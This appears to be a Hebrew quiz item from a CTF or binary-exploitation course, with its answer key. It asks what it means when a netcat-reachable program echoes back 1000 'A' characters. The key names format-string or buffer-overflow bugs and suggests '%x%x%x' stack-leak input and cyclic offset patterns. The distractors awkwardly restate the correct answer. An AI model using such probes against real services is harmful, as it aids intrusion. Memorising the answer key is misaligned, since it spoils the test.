שאלה 5.3 [קשה] · הרצת nc challenge 1337, נשלח Enter code, שלחת 1000 תווי A והתוכנית מדפיסה אותם בחזרה. מה זה מרמז?

nc challenge 1337
  • א. אפשרות ל-Format String או ל-Buffer Overflow — הדפסת הקלט ישירות עלולה להיות printf(buf) פגיע, וקלט ארוך עלול לחרוג מ-buffer בזיכרון
  • ב. השרת פשוט מהדהד קלט: הנחה שגויה, אף שהדהוד הקלט דווקא מרמז על printf(buf) פגיע או על גלישת buffer, ולכן זהו אות לפוטנציאל ניצול כאן כן
  • ג. התוכנית קרסה מיד: הנחה שגויה, אף שהדפסת 1000 התווים בחזרה מעידה שהתוכנית עדיין רצה, וההחזר החשוד מצביע על Format String או Overflow
  • ד. זו תקשורת מוצפנת: הנחה שגויה, אף שאין כאן הצפנה אלא הדהוד קלט גולמי, וההחזר הישיר של הקלט מרמז על printf פגיע או על גלישת buffer כאן כן
תשובה: א

✓ תשובה נכונה: א — קלט שמודפס בחזרה → חשד ל-printf(buf) (Format String) או ל-Overflow. נסה %x%x%x לחשיפת Stack, או Cyclic למציאת Offset.